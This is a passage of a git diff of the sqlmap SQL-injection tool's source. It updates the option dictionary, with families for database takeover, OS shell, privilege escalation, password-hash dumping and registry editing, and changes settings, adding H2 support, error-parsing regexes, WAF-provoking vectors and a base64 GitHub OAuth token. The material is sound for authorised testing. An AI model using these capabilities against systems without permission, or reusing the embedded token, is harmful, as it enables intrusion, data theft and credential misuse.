"string": "string", - "notString": "string", - "regexp": "string", - "code": "integer", - "textOnly": "boolean", - "titles": "boolean", - }, - - "Techniques": { - "tech": "string", - "timeSec": "integer", - "uCols": "string", - "uChar": "string", - "uFrom": "string", - "dnsDomain": "string", - "secondOrder": "string", - }, - - "Fingerprint": { - "extensiveFp": "boolean", - }, - - "Enumeration": { - "getAll": "boolean", - "getBanner": ("boolean", "Banners"), - "getCurrentUser": ("boolean", "Users"), - "getCurrentDb": ("boolean", "Databases"), - "getHostname": "boolean", - "isDba": "boolean", - "getUsers": ("boolean", "Users"), - "getPasswordHashes": ("boolean", "Passwords"), - "getPrivileges": ("boolean", "Privileges"), - "getRoles": ("boolean", "Roles"), - "getDbs": ("boolean", "Databases"), - "getTables": ("boolean", "Tables"), - "getColumns": ("boolean", "Columns"), - "getSchema": "boolean", - "getCount": "boolean", - "dumpTable": "boolean", - "dumpAll": "boolean", - "search": "boolean", - "getComments": "boolean", - "db": "string", - "tbl": "string", - "col": "string", - "excludeCol": "string", - "pivotColumn": "string", - "dumpWhere": "string", - "user": "string", - "excludeSysDbs": "boolean", - "limitStart": "integer", - "limitStop": "integer", - "firstChar": "integer", - "lastChar": "integer", - "query": "string", - "sqlShell": "boolean", - "sqlFile": "string", - }, - - "Brute": { - "commonTables": "boolean", - "commonColumns": "boolean", - }, - - "User-defined function": { - "udfInject": "boolean", - "shLib": "string", - }, - - "File system": { - "rFile": "string", - "wFile": "string", - "dFile": "string", - }, - - "Takeover": { - "osCmd": "string", - "osShell": "boolean", - "osPwn": "boolean", - "osSmb": "boolean", - "osBof": "boolean", - "privEsc": "boolean", - "msfPath": "string", - "tmpPath": "string", - }, - - "Windows": { - "regRead": "boolean", - "regAdd": "boolean", - "regDel": "boolean", - "regKey": "string", - "regVal": "string", - "regData": "string", - "regType": "string", - }, - - "General": { - #"xmlFile": "string", - "trafficFile": "string", - "batch": "boolean", - "binaryFields": "string", - "charset": "string", - "checkInternet": "boolean", - "crawlDepth": "integer", - "crawlExclude": "string", - "csvDel": "string", - "dumpFormat": "string", - "encoding": "string", - "eta": "boolean", - "flushSession": "boolean", - "forms": "boolean", - "freshQueries": "boolean", - "harFile": "string", - "hexConvert": "boolean", - "outputDir": "string", - "parseErrors": "boolean", - "saveConfig": "string", - "scope": "string", - "testFilter": "string", - "testSkip": "string", - "updateAll": "boolean", - }, - - "Miscellaneous": { - "alert": "string", - "answers": "string", - "beep": "boolean", - "cleanup": "boolean", - "dependencies": "boolean", - "disableColoring": "boolean", - "googlePage": "integer", - "identifyWaf": "boolean", - "mobile": "boolean", - "offline": "boolean", - "purgeOutput": "boolean", - "skipWaf": "boolean", - "smart": "boolean", - "tmpDir": "string", - "webRoot": "string", - "wizard": "boolean", - "verbose": "integer", - }, - "Hidden": { - "dummy": "boolean", - "disablePrecon": "boolean", - "profile": "boolean", - "forceDns": "boolean", - "murphyRate": "integer", - "smokeTest": "boolean", - "liveTest": "boolean", - "stopFail": "boolean", - "runCase": "string", - }, - "API": { - "api": "boolean", - "taskid": "string", - "database": "string", - } - } + # Family: {"parameter name": "parameter datatype"}, + # --OR-- + # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, + + "Target": { + "direct": "string", + "url": "string", + "logFile": "string", + "bulkFile": "string", + "requestFile": "string", + "sessionFile": "string", + "googleDork": "string", + "configFile": "string", + "sitemapUrl": "string", + }, + + "Request": { + "method": "string", + "data": "string", + "paramDel": "string", + "cookie": "string", + "cookieDel": "string", + "loadCookies": "string", + "dropSetCookie": "boolean", + "agent": "string", + "randomAgent": "boolean", + "host": "string", + "referer": "string", + "headers": "string", + "authType": "string", + "authCred": "string", + "authFile": "string", + "ignoreCode": "integer", + "ignoreProxy": "boolean", + "ignoreRedirects": "boolean", + "ignoreTimeouts": "boolean", + "proxy": "string", + "proxyCred": "string", + "proxyFile": "string", + "tor": "boolean", + "torPort": "integer", + "torType": "string", + "checkTor": "boolean", + "delay": "float", + "timeout": "float", + "retries": "integer", + "rParam": "string", + "safeUrl": "string", + "safePost": "string", + "safeReqFile": "string", + "safeFreq": "integer", + "skipUrlEncode": "boolean", + "csrfToken": "string", + "csrfUrl": "string", + "forceSSL": "boolean", + "hpp": "boolean", + "evalCode": "string", + }, + + "Optimization": { + "optimize": "boolean", + "predictOutput": "boolean", + "keepAlive": "boolean", + "nullConnection": "boolean", + "threads": "integer", + }, + + "Injection": { + "testParameter": "string", + "skip": "string", + "skipStatic": "boolean", + "paramExclude": "string", + "dbms": "string", + "dbmsCred": "string", + "os": "string", + "invalidBignum": "boolean", + "invalidLogical": "boolean", + "invalidString": "boolean", + "noCast": "boolean", + "noEscape": "boolean", + "prefix": "string", + "suffix": "string", + "tamper": "string", + }, + + "Detection": { + "level": "integer", + "risk": "integer", + "string": "string", + "notString": "string", + "regexp": "string", + "code": "integer", + "textOnly": "boolean", + "titles": "boolean", + }, + + "Techniques": { + "tech": "string", + "timeSec": "integer", + "uCols": "string", + "uChar": "string", + "uFrom": "string", + "dnsDomain": "string", + "secondUrl": "string", + "secondReq": "string", + }, + + "Fingerprint": { + "extensiveFp": "boolean", + }, + + "Enumeration": { + "getAll": "boolean", + "getBanner": ("boolean", "Banners"), + "getCurrentUser": ("boolean", "Users"), + "getCurrentDb": ("boolean", "Databases"), + "getHostname": "boolean", + "isDba": "boolean", + "getUsers": ("boolean", "Users"), + "getPasswordHashes": ("boolean", "Passwords"), + "getPrivileges": ("boolean", "Privileges"), + "getRoles": ("boolean", "Roles"), + "getDbs": ("boolean", "Databases"), + "getTables": ("boolean", "Tables"), + "getColumns": ("boolean", "Columns"), + "getSchema": "boolean", + "getCount": "boolean", + "dumpTable": "boolean", + "dumpAll": "boolean", + "search": "boolean", + "getComments": "boolean", + "db": "string", + "tbl": "string", + "col": "string", + "exclude": "string", + "pivotColumn": "string", + "dumpWhere": "string", + "user": "string", + "excludeSysDbs": "boolean", + "limitStart": "integer", + "limitStop": "integer", + "firstChar": "integer", + "lastChar": "integer", + "query": "string", + "sqlShell": "boolean", + "sqlFile": "string", + }, + + "Brute": { + "commonTables": "boolean", + "commonColumns": "boolean", + }, + + "User-defined function": { + "udfInject": "boolean", + "shLib": "string", + }, + + "File system": { + "fileRead": "string", + "fileWrite": "string", + "fileDest": "string", + }, + + "Takeover": { + "osCmd": "string", + "osShell": "boolean", + "osPwn": "boolean", + "osSmb": "boolean", + "osBof": "boolean", + "privEsc": "boolean", + "msfPath": "string", + "tmpPath": "string", + }, + + "Windows": { + "regRead": "boolean", + "regAdd": "boolean", + "regDel": "boolean", + "regKey": "string", + "regVal": "string", + "regData": "string", + "regType": "string", + }, + + "General": { + # "xmlFile": "string", + "trafficFile": "string", + "batch": "boolean", + "binaryFields": "string", + "charset": "string", + "checkInternet": "boolean", + "crawlDepth": "integer", + "crawlExclude": "string", + "csvDel": "string", + "dumpFormat": "string", + "encoding": "string", + "eta": "boolean", + "flushSession": "boolean", + "forms": "boolean", + "freshQueries": "boolean", + "harFile": "string", + "hexConvert": "boolean", + "outputDir": "string", + "parseErrors": "boolean", + "saveConfig": "string", + "scope": "string", + "testFilter": "string", + "testSkip": "string", + "updateAll": "boolean", + }, + + "Miscellaneous": { + "alert": "string", + "answers": "string", + "beep": "boolean", + "cleanup": "boolean", + "dependencies": "boolean", + "disableColoring": "boolean", + "googlePage": "integer", + "identifyWaf": "boolean", + "listTampers": "boolean", + "mobile": "boolean", + "offline": "boolean", + "purge": "boolean", + "skipWaf": "boolean", + "smart": "boolean", + "tmpDir": "string", + "webRoot": "string", + "wizard": "boolean", + "verbose": "integer", + }, + + "Hidden": { + "dummy": "boolean", + "disablePrecon": "boolean", + "profile": "boolean", + "forceDns": "boolean", + "murphyRate": "integer", + "smokeTest": "boolean", + "liveTest": "boolean", + "stopFail": "boolean", + "runCase": "string", + }, + + "API": { + "api": "boolean", + "taskid": "string", + "database": "string", + } +} diff --git a/lib/core/patch.py b/lib/core/patch.py new file mode 100644 index 00000000000..49a458431b5 --- /dev/null +++ b/lib/core/patch.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import codecs +import httplib + +from lib.core.settings import IS_WIN + +def dirtyPatches(): + """ + Place for "dirty" Python related patches + """ + + # accept overly long result lines (e.g. SQLi results in HTTP header responses) + httplib._MAXLINE = 1 * 1024 * 1024 + + # add support for inet_pton() on Windows OS + if IS_WIN: + from thirdparty.wininetpton import win_inet_pton + + # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 + codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) diff --git a/lib/core/profiling.py b/lib/core/profiling.py index c8ede5a2d3d..44d91bc8ba8 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): """ try: + __import__("gobject") from thirdparty.gprof2dot import gprof2dot from thirdparty.xdot import xdot - import gobject import gtk import pydot except ImportError, e: @@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): if os.path.exists(imageOutputFile): os.remove(imageOutputFile) - infoMsg = "profiling the execution into file %s" % profileOutputFile + infoMsg = "profiling the execution into file '%s'" % profileOutputFile logger.info(infoMsg) # Start sqlmap main function and generate a raw profile file @@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): if isinstance(pydotGraph, list): pydotGraph = pydotGraph[0] - pydotGraph.write_png(imageOutputFile) - - infoMsg = "displaying interactive graph with xdot library" - logger.info(infoMsg) - - # Display interactive Graphviz dot file by using extra/xdot/xdot.py - # http://code.google.com/p/jrfonseca/wiki/XDot - win = xdot.DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter("dot") - win.open_file(dotOutputFile) - gtk.main() + try: + pydotGraph.write_png(imageOutputFile) + except OSError: + errMsg = "profiling requires graphviz installed " + errMsg += "(Hint: 'sudo apt-get install graphviz')" + logger.error(errMsg) + else: + infoMsg = "displaying interactive graph with xdot library" + logger.info(infoMsg) + + # Display interactive Graphviz dot file by using extra/xdot/xdot.py + # http://code.google.com/p/jrfonseca/wiki/XDot + win = xdot.DotWindow() + win.connect('destroy', gtk.main_quit) + win.set_filter("dot") + win.open_file(dotOutputFile) + gtk.main() diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index d7e2f3a62a2..cccd2af34a4 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,11 +14,11 @@ try: from readline import * import readline as _readline -except ImportError: +except: try: from pyreadline import * import pyreadline as _readline - except ImportError: + except: pass if IS_WIN and _readline: diff --git a/lib/core/replication.py b/lib/core/replication.py index 764f7664e6a..f9444af7586 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index eaeac85b9a3..600584de2f2 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 3d0ba367a9a..9cf569b687b 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d14dbc3064..505c72a8f48 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,16 +19,18 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.2" +VERSION = "1.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" +DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" -GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" +GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" +ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner BANNER = """\033[01;33m\ @@ -44,10 +46,10 @@ DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 -# Ratio used in heuristic check for WAF/IPS/IDS protected targets +# Ratio used in heuristic check for WAF/IPS protected targets IDS_WAF_CHECK_RATIO = 0.5 -# Timeout used in heuristic check for WAF/IPS/IDS protected targets +# Timeout used in heuristic check for WAF/IPS protected targets IDS_WAF_CHECK_TIMEOUT = 10 # Lower and upper values for match ratio in case of stable page @@ -70,6 +72,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" +SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" @@ -82,7 +85,7 @@ TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages -PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" +PERMISSION_DENIED_REGEX = r"(?P(command|permission|access)\s*(was|is)?\s*denied)" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" @@ -96,6 +99,9 @@ # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) PRECONNECT_CANDIDATE_TIMEOUT = 10 +# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) +PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",) + # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 @@ -169,6 +175,9 @@ # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 +# Maximum time response set used during time-comparison based on standard deviation +MAX_TIME_RESPONSES = 200 + # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 @@ -224,7 +233,7 @@ MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") -ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ +ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") @@ -232,6 +241,7 @@ SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") +H2_SYSTEM_DBS = ("INFORMATION_SCHEMA") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") @@ -245,20 +255,21 @@ SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") +H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) -HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") @@ -299,6 +310,10 @@ "wizard", ) +# Tags used for value replacements inside shell scripts +SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" +SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" + # String representation for NULL value NULL = "NULL" @@ -312,12 +327,13 @@ SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages -FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"(?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"href=['\"]file://(?P/[^'\"]+)") +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"in (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"href=['\"]file://(?P/[^'\"]+)") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( - r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P.+?)", - r"(?m)^(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", + r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", + r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", + r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", r"(?P[^\n>]*SQL Syntax[^\n<]+)", r"
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", @@ -359,10 +375,10 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z" # Regex used for masking sensitive data -SENSITIVE_DATA_REGEX = "(\s|=)(?P[^\s=]*%s[^\s]*)\s" +SENSITIVE_DATA_REGEX = r"(\s|=)(?P[^\s=]*%s[^\s]*)\s" # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the inside) -SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred") +SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred") # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 @@ -383,7 +399,7 @@ CUSTOM_INJECTION_MARK_CHAR = '*' # Other way to declare injection position -INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%' +INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%" # Minimum chunk length used for retrieving data over error based payloads MIN_ERROR_CHUNK_LENGTH = 8 @@ -401,7 +417,7 @@ REFLECTED_BORDER_REGEX = r"[^A-Za-z]+" # Regular expression used for replacing non-alphanum characters -REFLECTED_REPLACEMENT_REGEX = r".+" +REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}" # Maximum time (in seconds) spent per reflective value(s) replacement REFLECTED_REPLACEMENT_TIMEOUT = 3 @@ -421,9 +437,15 @@ # Display hash attack info every mod number of items HASH_MOD_ITEM_DISPLAY = 11 +# Display marker for (cracked) empty password +HASH_EMPTY_PASSWORD_MARKER = "" + # Maximum integer value MAX_INT = sys.maxint +# Replacement for unsafe characters in dump table filenames +UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_' + # Options that need to be restored in multiple targets run mode RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") @@ -479,7 +501,7 @@ REFLECTIVE_MISS_THRESHOLD = 20 # Regular expression used for extracting HTML title -HTML_TITLE_REGEX = "(?P<result>[^<]+)" +HTML_TITLE_REGEX = r"(?P<result>[^<]+)" # Table used for Base64 conversion in WordPress hash cracking routine ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" @@ -516,7 +538,7 @@ # Value to look for in response to CHECK_INTERNET_ADDRESS CHECK_INTERNET_VALUE = "IP Address Details" -# Vectors used for provoking specific WAF/IPS/IDS behavior(s) +# Vectors used for provoking specific WAF/IPS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL "search=", @@ -531,7 +553,7 @@ # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 1024 * 1024 -# Compress (zlib) level used for storing BigArray chunks to disk (0-9) +# Compress level used for storing BigArray chunks to disk (0-9) BIGARRAY_COMPRESS_LEVEL = 9 # Maximum number of socket pre-connects @@ -563,7 +585,7 @@ UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) -COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser") +COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser") # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' @@ -575,7 +597,7 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ==" +GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw==" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 @@ -590,7 +612,7 @@ HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' +HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 @@ -623,7 +645,7 @@ DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Regular expression used for recognition of file inclusion errors -FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" +FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 @@ -632,7 +654,7 @@ MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) -MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024 +MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 # For preventing 